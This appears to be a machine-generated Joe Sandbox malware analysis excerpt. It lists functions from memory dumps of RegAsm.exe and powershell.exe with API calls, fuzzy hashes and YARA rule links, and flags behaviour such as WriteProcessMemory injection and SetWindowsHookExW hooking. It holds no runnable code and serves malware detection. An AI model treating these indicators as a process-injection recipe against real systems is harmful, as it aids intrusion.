Source File: 00000007.00000002.3375789757.0000000005950000.00000040.00000800.00020000.00000000.sdmp, Offset: 05950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5950000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 6a0f6ffb0e8c6e9c19c9399c9e0875ff32ec85aab1e84d7809c9ecae83b4f57b
Instruction ID: 8637d37295008b63e166a364b45307ec7d051fd8a865c06b8df5bd015df46627
Opcode Fuzzy Hash: 6a0f6ffb0e8c6e9c19c9399c9e0875ff32ec85aab1e84d7809c9ecae83b4f57b
Instruction Fuzzy Hash: A44108B59003098FDB54CF99C448AAABBF5FB88314F24C859D919AB321D775A845CFA0

Function 0595E41B Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,0595E3D2), ref: 0595E4BF

Memory Dump Source

Source File: 00000007.00000002.3375789757.0000000005950000.00000040.00000800.00020000.00000000.sdmp, Offset: 05950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5950000_RegAsm.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 5b2feb349b71b073d1161542a9595c359fd0ed0f30a65118d884dbc3ccfc71f1
Instruction ID: c6599a189a440013a99d070fb5b1a3bd2f5cc39eb1e87ceb617a824926a2c31b
Opcode Fuzzy Hash: 5b2feb349b71b073d1161542a9595c359fd0ed0f30a65118d884dbc3ccfc71f1
Instruction Fuzzy Hash: 9A2157B1C042698FCB10DFA9D5447EEBBF8EF48320F1485AAD918B7350D7789985CBA1

Function 014A75F0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 014A767F

Memory Dump Source

Source File: 00000007.00000002.3343068533.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_14a0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1df6fbae129148e19c4d83291c158512d2af03e8440389b484868601ce14bc37
Instruction ID: 7a4c86ebd3df561bad0daba29b6a3bbc00ff5f144b6a3f8723d5bf62c1e34f0a
Opcode Fuzzy Hash: 1df6fbae129148e19c4d83291c158512d2af03e8440389b484868601ce14bc37
Instruction Fuzzy Hash: 9F21E3B5D002499FDB10CFAAD584AEEBBF4EB48320F14841AE918A7350D378A954CFA0

Function 014A75F8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 014A767F

Memory Dump Source

Source File: 00000007.00000002.3343068533.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_14a0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: dfa5a689930750ea71f6c7d98da54b4e960ebae6516721d361bba632cf1c22da
Instruction ID: 4ae032aa5b44443a277defc4e042357b936ef9109c980c6fc37c624ad2cad370
Opcode Fuzzy Hash: dfa5a689930750ea71f6c7d98da54b4e960ebae6516721d361bba632cf1c22da
Instruction Fuzzy Hash: 9D21C4B5D002489FDB10CFAAD984ADEBFF4EB48320F14841AE918A7350D379A954CFA5

Function 014A23B0 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 014A2433

Memory Dump Source

Source File: 00000007.00000002.3343068533.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_14a0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 56549a70f5190059c764f0e2fb977d913b59b8ff342ef36bf9f46f954abc2b5a
Instruction ID: afca858a88f41e0f237416842d2bd3ae1db3e1858ab65167d1c842f8916af6e9
Opcode Fuzzy Hash: 56549a70f5190059c764f0e2fb977d913b59b8ff342ef36bf9f46f954abc2b5a
Instruction Fuzzy Hash: 112123B5D002098FDB14CFA9D844AEFBBF5BF88314F10842AE459A7260C778A941CFA1

Function 014A23B8 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 014A2433

Memory Dump Source

Source File: 00000007.00000002.3343068533.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_14a0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 1f7a15254755465953c145248345de75b517d2ec763b14b91b7fa115be8ea58e
Instruction ID: 16012d647924a1cea83a3d865880b26f2dcc1f349eaf4afff6f9239138aadddf
Opcode Fuzzy Hash: 1f7a15254755465953c145248345de75b517d2ec763b14b91b7fa115be8ea58e
Instruction Fuzzy Hash: 2B2104B5D002098FDB14DF9AC944AEEBBF5AF88310F10842AE519A7250CB78A945CFA1

Function 0595DCF8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,0595E3D2), ref: 0595E4BF

Memory Dump Source

Source File: 00000007.00000002.3375789757.0000000005950000.00000040.00000800.00020000.00000000.sdmp, Offset: 05950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5950000_RegAsm.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 09bf5eb8a8dd4ae8e3c1ef34751ba10540bfa41259743b93cf0ab052ac14f2fa
Instruction ID: ed0ce436c70a4ddf52bf7f67a87d6e24b0695b74bce24606b96d806cb982716c
Opcode Fuzzy Hash: 09bf5eb8a8dd4ae8e3c1ef34751ba10540bfa41259743b93cf0ab052ac14f2fa
Instruction Fuzzy Hash: 731133B1C006599BCB10DF9AC5446AEFBF8EF48320F10816AE918B7240D778A954CFE1

Function 059504F8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0595055E

Memory Dump Source

Source File: 00000007.00000002.3375789757.0000000005950000.00000040.00000800.00020000.00000000.sdmp, Offset: 05950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5950000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c6e7cb068bb47442c405fd6b2e70d7ea9127b7ced2fa15b626110dd1540dd93a
Instruction ID: df8d423408fa8ef57b3b0e8f94ecc89dc3553637343396208fbfa2038d6f7035
Opcode Fuzzy Hash: c6e7cb068bb47442c405fd6b2e70d7ea9127b7ced2fa15b626110dd1540dd93a
Instruction Fuzzy Hash: 5911DFB6C046498FDB10CF9AD448BDEFBF8EB88724F14842AD919A7210D379A545CFA1

Function 067F31D0 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

4']q, xrefs: 067F3382

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: b219f97c59befcc447996f123535efb65487e9fa0dbb9ac385c153cb70c980d4
Instruction ID: c84cb17fc128688c203b557924cc11de3dad794f1dec37d03ea5e5c92984671b
Opcode Fuzzy Hash: b219f97c59befcc447996f123535efb65487e9fa0dbb9ac385c153cb70c980d4
Instruction Fuzzy Hash: C2619D317241158FD744CF79C888E7A7BE9AF8962070584A9EA16CB361DB36EC40CBE1

Function 067F0AE8 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

d8bq, xrefs: 067F0B40

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: d8bq
API String ID: 0-3484500975
Opcode ID: 96870b34944b7b1e32eb9137c2f3237d401d3f99020108ffd41fe8bd819ddb9e
Instruction ID: 2e573faf0f7a39f274904ab695efc5c162128b26eeb1e0680a94e8ac222d796a
Opcode Fuzzy Hash: 96870b34944b7b1e32eb9137c2f3237d401d3f99020108ffd41fe8bd819ddb9e
Instruction Fuzzy Hash: B051F3357102048FC7659B39D828FBE7BA6EF84710F0445A9EA5ACB7A2DB74DC05CB90

Function 067F2FD0 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

4']q, xrefs: 067F304B

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: f4c4907127bbeefa61004e560d7ff5ecb90601f13b0a1e3deeb18efeb98bd3ac
Instruction ID: f321698df15c43901a0311de828a29c2d2467db7803614e17db150b757d3591b
Opcode Fuzzy Hash: f4c4907127bbeefa61004e560d7ff5ecb90601f13b0a1e3deeb18efeb98bd3ac
Instruction Fuzzy Hash: DF414C74620109DFDB54CF69D888E6A7BB6FF88320F004066FA168B361CB75DD40CBA1

Function 067F569C Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f5826d27c9327364f9c2c0d8184d96a653c0f93edf577c71f9864278ffc142
Instruction ID: a572756cdd517af8c3444c9e5e80a32999455bb1131fdbc0d271c035993c16e1
Opcode Fuzzy Hash: 05f5826d27c9327364f9c2c0d8184d96a653c0f93edf577c71f9864278ffc142
Instruction Fuzzy Hash: E821D435B043504FDB14DB38E818B5E7FA6ABC9620F1582A9D855AB3DADA38DC418B81

Function 067F0448 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46dfec5d6a669f5ceef746af4b4b0268152fdc8079aa155d78e7a4e6f369e567
Instruction ID: 23da7fcdce2379bd38f6d8032ddb2f45e5bde9b916280db082dbadbf1eae30d7
Opcode Fuzzy Hash: 46dfec5d6a669f5ceef746af4b4b0268152fdc8079aa155d78e7a4e6f369e567
Instruction Fuzzy Hash: 5D319F35A1110E9FDB459F64D864EBE7BA2FB98650F008029FA0587361CB39CD61DBA0

Function 067F3400 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bea42e4b25399b21d7b1df3949beaaf23e4c3843bc95fb38cfb4961ec337887
Instruction ID: 6a52ff90ba87f81a5269818322994e565d76339c863b3dac9cf6ad1465d05701
Opcode Fuzzy Hash: 6bea42e4b25399b21d7b1df3949beaaf23e4c3843bc95fb38cfb4961ec337887
Instruction Fuzzy Hash: 4321B0307202054BEB665B398454E3E399BAFC46A8F148039D606CB394EE6BCC42D3D5

Function 067F33EF Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b11b7880b6cda4f3a50f9ce8fa73e20c162fea48530f4a8d9b0646df8f524d1
Instruction ID: 68d071d6d5b1481416131ab1a2639851fa4b70195173a81216991c06dadf336f
Opcode Fuzzy Hash: 7b11b7880b6cda4f3a50f9ce8fa73e20c162fea48530f4a8d9b0646df8f524d1
Instruction Fuzzy Hash: 502125307302014BDB664B398899E3D3A97AFC45B8B088039D606CB3A5EE2BCC02D3D1

Function 0144D500 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3342124855.000000000144D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0144D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_144d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa9c1534a2fd6916fe9210901321735ccdd20991707d52ce8a61e1bae437bab9
Instruction ID: 961efaffc684971673944fbe5f4acd0e6768761f3a42e13e4b2ad92607f8499d
Opcode Fuzzy Hash: fa9c1534a2fd6916fe9210901321735ccdd20991707d52ce8a61e1bae437bab9
Instruction Fuzzy Hash: 5B210671904204DFEB15DF58D9C0F27BF65FBA8318F24C56AD9090A326C73AD456CAE1

Function 067F0438 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa873b0050fd24729ebfff2e19aadadcb99c119321efd25ae9c48dcafd42ced7
Instruction ID: ab1bd20267c25c80c2301b48d136eaf992167e2491d4200bb7166ebf317a903e
Opcode Fuzzy Hash: aa873b0050fd24729ebfff2e19aadadcb99c119321efd25ae9c48dcafd42ced7
Instruction Fuzzy Hash: F5213735A2110D8FD7548F64D425F7A3BA2FB94660F00802AFA058B352CB38CD65CBD0

Function 0145D0FC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3342476873.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_145d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 339900c233c4a20ae7d1eb8debc943650df323d6dcd20102b3f5247591cd9c12
Instruction ID: 9f2a6230258297176d373f62bb0704a6f47ab6c1ae4204c691bdec7c35b80b92
Opcode Fuzzy Hash: 339900c233c4a20ae7d1eb8debc943650df323d6dcd20102b3f5247591cd9c12
Instruction Fuzzy Hash: CC21F271904204EFDB45DFA8D980B26BBA5EF88314F24C96EDD0A4B367C73AD446CB61

Function 067F66C8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6947d985f3ca964efb823538cfffe9fac9229cb26f69ec80648ccebd8204505
Instruction ID: 6b498932e595a63b65f47e6b489398c099397a92281d154263b93e98e49a6bf2
Opcode Fuzzy Hash: f6947d985f3ca964efb823538cfffe9fac9229cb26f69ec80648ccebd8204505
Instruction Fuzzy Hash: 3411D030F202158FEB689F799910BBBBAE6EF80750F14852DDA8587385EB748941C7E1

Function 067F1D10 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60c1e3c1fafcd01dfeab8e83d466c9e13b65aaf8a08f1d82892965e2326213f9
Instruction ID: 50b1fe9d954b280e59715316201cc389973444794b76c28a7f3bb85ed2ac4d0a
Opcode Fuzzy Hash: 60c1e3c1fafcd01dfeab8e83d466c9e13b65aaf8a08f1d82892965e2326213f9
Instruction Fuzzy Hash: B3117C31910208DFDB64CF54C844FAABBF6EF48314F94C42AE6199B211E775A944CB90

Function 0144D4FB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3342124855.000000000144D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0144D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_144d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d586b370810bf15e8d939e07fb0dccd80900219e7a08ccebccaf9c83e80135
Instruction ID: dd14da7b372be7a08dccb071ffa55c0c35496eb6702c7d33b1f82660074d216d
Opcode Fuzzy Hash: 07d586b370810bf15e8d939e07fb0dccd80900219e7a08ccebccaf9c83e80135
Instruction Fuzzy Hash: BC11DF72804280CFDB12CF54D9C4B16BF61FB94314F24C5AAD9090B226C33AD45ACBA2

Function 0145D0F7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3342476873.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_145d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3f0733ce8851a1589f40a5fbe057aabe2b6f8a867c37c7fcc40a2fdda36e59
Instruction ID: cfefcaea413901eadb6a12a92a377073aef79b4652e56f383278ab2da5d002b7
Opcode Fuzzy Hash: 5c3f0733ce8851a1589f40a5fbe057aabe2b6f8a867c37c7fcc40a2fdda36e59
Instruction Fuzzy Hash: 4411AC75904280DFDB06CF54D984B16BB61FB44214F28C6AADC494B767C33AD44ACB61

Function 067F0C80 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f88989e3aa31984046ac376db89d88c027205424008ecde55f0d369015c22b
Instruction ID: 178dc3516600b913776d8be5efc4bf01d193881df1247553d3d466f7bca3c61a
Opcode Fuzzy Hash: 69f88989e3aa31984046ac376db89d88c027205424008ecde55f0d369015c22b
Instruction Fuzzy Hash: EF01F276A00208ABDB658E65DC11FEB3B6BEB88751F188125FA25C3340DA318802DBF0

Function 067F0C90 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 246160460743b6de6d4aa553fe0c2914ccde0ebbd99803c989b3af969aadcdcb
Instruction ID: e982e74100b4b1d2725274f3f00de2c5a0f4450171fba04b5a7cd7783f6404c6
Opcode Fuzzy Hash: 246160460743b6de6d4aa553fe0c2914ccde0ebbd99803c989b3af969aadcdcb
Instruction Fuzzy Hash: 3401F732B001196B9B599E659810EAF3AABEBC8651F048129F614D3340CA318801DBF0

Function 067F1480 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50fc0c1a92740336ee4e3926712c59756511342ccec08540a886f43acd62da05
Instruction ID: 86721c122eb85b6e9c2cf17cd9f3408f45ffa24671088dad2e9ecc575a0ab96e
Opcode Fuzzy Hash: 50fc0c1a92740336ee4e3926712c59756511342ccec08540a886f43acd62da05
Instruction Fuzzy Hash: CBE026308693528FC716AB20F945EB43F2BE9E110478C466294448A135DB7EC809C2A1

Function 067F3F78 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: a917572d3e68ffac41e15ea9c36ba190c4870b7ab7f0a3bf1eb1adac1a13e82f
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: A2C01233A2D1282EA7B4504E7C44EB3AB8CD3C12B4A214177FA5C8330098829C8001E5

Function 067F4DF3 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3802a3555f51af13acfa5e41e390a6090dc7ec9acd1012a64ab5e1c5d5a75452
Instruction ID: 8a05d55abd802b473c04384a5f3e94dc0c5df556ca0f72d536992d1276f5a61c
Opcode Fuzzy Hash: 3802a3555f51af13acfa5e41e390a6090dc7ec9acd1012a64ab5e1c5d5a75452
Instruction Fuzzy Hash: 61E0ECB0C156498FCB90DFF8940559EBFF0EE46220B1086EFD569D3252E7310651CBA1

Function 067F4595 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 541b568cf47383867b8e544393a42ca2546ad9426dbba87b4a529863c092b47a
Instruction ID: e530a1fc9ea30f68da75c650d2891a90295b853cfa59009ba30e6e435f79e472
Opcode Fuzzy Hash: 541b568cf47383867b8e544393a42ca2546ad9426dbba87b4a529863c092b47a
Instruction Fuzzy Hash: 71D0673BB400189FCB049F98E8408DEFBB6FB9C221B048116F915A3261CA319921DBA0

Function 067F4E00 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4612928e4bfc932a8551097bb004f8281d500d57b9548300fde0716efbdaf30f
Instruction ID: 2c258fe0a642513964b17371cdfa68635205c706941663f1df07b2d6527c7e30
Opcode Fuzzy Hash: 4612928e4bfc932a8551097bb004f8281d500d57b9548300fde0716efbdaf30f
Instruction Fuzzy Hash: DED0C9B0C1520C9FCB90EFB8A40956EBFF4EA04201F0085AAD919E3201FB3046118BE1

Function 067F1490 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e164dab33350b86fb5759c97b68e57c8178d1de4dea654fbf86adc3c57353d
Instruction ID: ff62ce0b3a1ba60150d044c0d8684de3047dd2efa99a001a33cef0d6807d86d2
Opcode Fuzzy Hash: 72e164dab33350b86fb5759c97b68e57c8178d1de4dea654fbf86adc3c57353d
Instruction Fuzzy Hash: FAC012301543094FC659EF75FA45F193B2FFAD06047908634A40A06529DF7DDC098690

Function 067F4DC8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6652dba9ac7593e8eaba3f5bea9861f1efba7b669c2e899194ab22638287b37
Instruction ID: e5353aee7944bfebdd9aea9685a5dc21340c09b211035cd856b4f0d069b74a92
Opcode Fuzzy Hash: c6652dba9ac7593e8eaba3f5bea9861f1efba7b669c2e899194ab22638287b37
Instruction Fuzzy Hash: D5D01210909BC64FDF0B67F54D241552EA56E8772130645C5C0D2CF3F6C9145908D7A6

Non-executed Functions

Function 067F2438 Relevance: 5.3, Strings: 4, Instructions: 276COMMON

Download Yara Rule

Strings

(o]q, xrefs: 067F2531
(o]q, xrefs: 067F255D
(o]q, xrefs: 067F25FA
(o]q, xrefs: 067F2476

Memory Dump Source

Source File: 00000007.00000002.3377008286.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_67f0000_RegAsm.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q
API String ID: 0-1261621458
Opcode ID: 8fb47634c7886da7f4f36f353f2117e5e3db4d687cb1cfca8b58f4acc967861d
Instruction ID: 5db620c84936f45fa514058080dfb5969788edb1ab5dfc6e3785594e9f6984d9
Opcode Fuzzy Hash: 8fb47634c7886da7f4f36f353f2117e5e3db4d687cb1cfca8b58f4acc967861d
Instruction Fuzzy Hash: 6DC14B30A102099FCB54CFA9C984EAEBBF6FF48314F148559E665AB366D730EA40CF50

Analysis Process: powershell.exePID: 5368, Parent PID: 6592COMMON

Executed Functions

Function 00007FF848E837B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2655255512.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aa00635f972a6bac396fc46e5d72351287b17824183693041b1918d6b4f3e0
Instruction ID: 182fc30d6c7f0de26744cb28d113a2fbd0f45bd88dd56ebc921b25a38d14994d
Opcode Fuzzy Hash: 70aa00635f972a6bac396fc46e5d72351287b17824183693041b1918d6b4f3e0
Instruction Fuzzy Hash: 3E01677111CB0D4FDB44EF0CE451AAAB7E0FB95364F50056DE58AC3651D736E882CB45

Analysis Process: powershell.exePID: 7096, Parent PID: 5368COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF848F5177A Relevance: 3.1, Strings: 1, Instructions: 1831COMMON

Download Yara Rule

Strings

!, xrefs: 00007FF848F52234

Memory Dump Source

Source File: 0000000E.00000002.2601897005.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: b40e873cf4efd54ddc7aae084e2bb0464fc648de8fd2beaf066c4557269b8afa
Instruction ID: cd6febe95ef2f6e2823a5e773ca55e408fb8222518c0232a0f86b041f39ed5f3
Opcode Fuzzy Hash: b40e873cf4efd54ddc7aae084e2bb0464fc648de8fd2beaf066c4557269b8afa
Instruction Fuzzy Hash: 74C23732E0EB894FE79AA72858152B5BBE1EF56254F0802FBD04DC71D3DE18AC46C395

Function 00007FF848E89D2D Relevance: 1.7, APIs: 1, Instructions: 213
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32 ref: 00007FF848E89E9E

Memory Dump Source

Source File: 0000000E.00000002.2600619312.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848e80000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 615c4d95c66d1c2b306fd27e0b62bd112305b82545ff0dcd5a9e073e9fd13341
Instruction ID: d2589a5fb9dcd737f016a33e83739969707fe9aa1ccc48daa96d4f77e1e8b782
Opcode Fuzzy Hash: 615c4d95c66d1c2b306fd27e0b62bd112305b82545ff0dcd5a9e073e9fd13341
Instruction Fuzzy Hash: 0A611270908A5C8FDB98EF58D884BE9BBF1FB69311F1041AED04DE3291DB74A985CB44

